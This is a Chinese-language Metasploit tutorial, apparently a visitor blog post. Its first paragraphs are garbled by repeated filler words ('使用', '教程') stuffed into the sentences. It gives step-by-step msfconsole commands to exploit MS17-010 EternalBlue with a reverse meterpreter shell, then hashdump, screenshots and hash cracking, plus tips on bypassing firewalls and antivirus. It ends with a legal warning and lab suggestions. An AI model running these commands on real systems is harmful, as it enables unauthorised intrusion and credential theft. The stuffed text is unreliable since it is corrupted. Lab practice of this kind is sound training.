游客发表
打开Msfconsole那一刻,使用你面对的教程是一个空白的命令行。输入`help`,使用刷出来一百多条命令。教程很多人到这里就卡住了——文档太多,使用反而不知道从哪下手。教程
我刚开始用Metasploit的使用时候,干过一件蠢事:花了一下午搜索"metasploit完整教程",教程收藏了二十几篇文章,使用然后一篇都没看完。教程后来真正让我入门的使用,是教程拿一台虚拟机当靶机,直接对着它打。使用
Metasploit是一个渗透测试框架。说"框架"不是使用装腔作势,它确实就是一堆模块的集合:exploit(漏洞利用)、payload(攻击载荷)、auxiliary(辅助扫描)、post(后渗透)。每个模块干一件事,你负责把它们串起来。
安装不复杂。Kali Linux自带,其他系统可以用官方安装脚本。装完之后终端输入msfconsole,看到那个ASCII艺术字横幅,就算进去了。
假设你扫到一台内网机器,开了445端口,系统是Windows 7未打补丁。经典目标。这时候你的操作流程是这样的:
msf6 > search ms17-010 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > show options msf6 > set RHOSTS 192.168.1.100 msf6 > set LHOST 192.168.1.50 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > run 七八行命令。如果目标确实存在漏洞,你会看到一个meterpreter会话建立起来。那个瞬间的兴奋感,比看一百篇教程都管用。
但这里有个坑:show options这步千万别跳过。我见过太多人set了RHOSTS就直接run,然后报错说LHOST没设。每个exploit模块需要的参数不一样,show options会告诉你哪些是required,哪些有默认值。
拿到shell只是开始。Meterpreter是Metasploit的核心武器,它跑在内存里,不写磁盘,杀软很难抓到。进去之后你能做的事:
meterpreter > sysinfo // 看系统信息 meterpreter > getuid // 当前权限 meterpreter > hashdump // 抓密码哈希 meterpreter > screenshot // 截屏 meterpreter > shell // 降级到系统shell hashdump抓出来的NTLM哈希,拿去cmd5或者hashcat跑一下,弱密码几秒就出来了。这就是为什么企业内网里一台机器失陷往往意味着整个域沦陷。
防火墙。目标开了防火墙的话,reverse_tcp可能连不回来。试试reverse_https,流量走443端口,不容易被拦。
payload位数。x86和x64搞混了,会话建立会失败。目标系统是64位的就用x64 payload,别偷懒。
杀软。Meterpreter的默认payload特征太明显,Windows Defender直接秒杀。真实环境里需要做编码或者用其他免杀手段,这是另一个话题了。
auxiliary模块里的扫描器很好用。auxiliary/scanner/smb/smb_version能快速识别内网Windows版本,auxiliary/scanner/portscan/tcp可以替代nmap做初步探测。这些模块不需要你手动设payload,跑起来更快。
还有个冷门技巧:db_nmap。在msfconsole里直接调nmap,结果自动存进数据库,后面hosts和services命令直接调取,不用来回切换工具。
没有授权就用Metasploit打别人的机器,是犯罪行为。这不是免责声明式的废话——国内已经有实际判例。自己搭靶场,VulnHub、HackTheBox、TryHackMe,够你练很久了。
Metasploit不难,难的是理解每一步在干什么。命令可以查文档,但为什么要设这个参数、这个漏洞的触发条件是什么、拿到shell之后往哪走——这些需要你在靶机上反复试。我的建议是:别贪多,选一个漏洞,从扫描到利用到后渗透,完整走一遍。走通一次,比收藏一百篇教程有用。
友情链接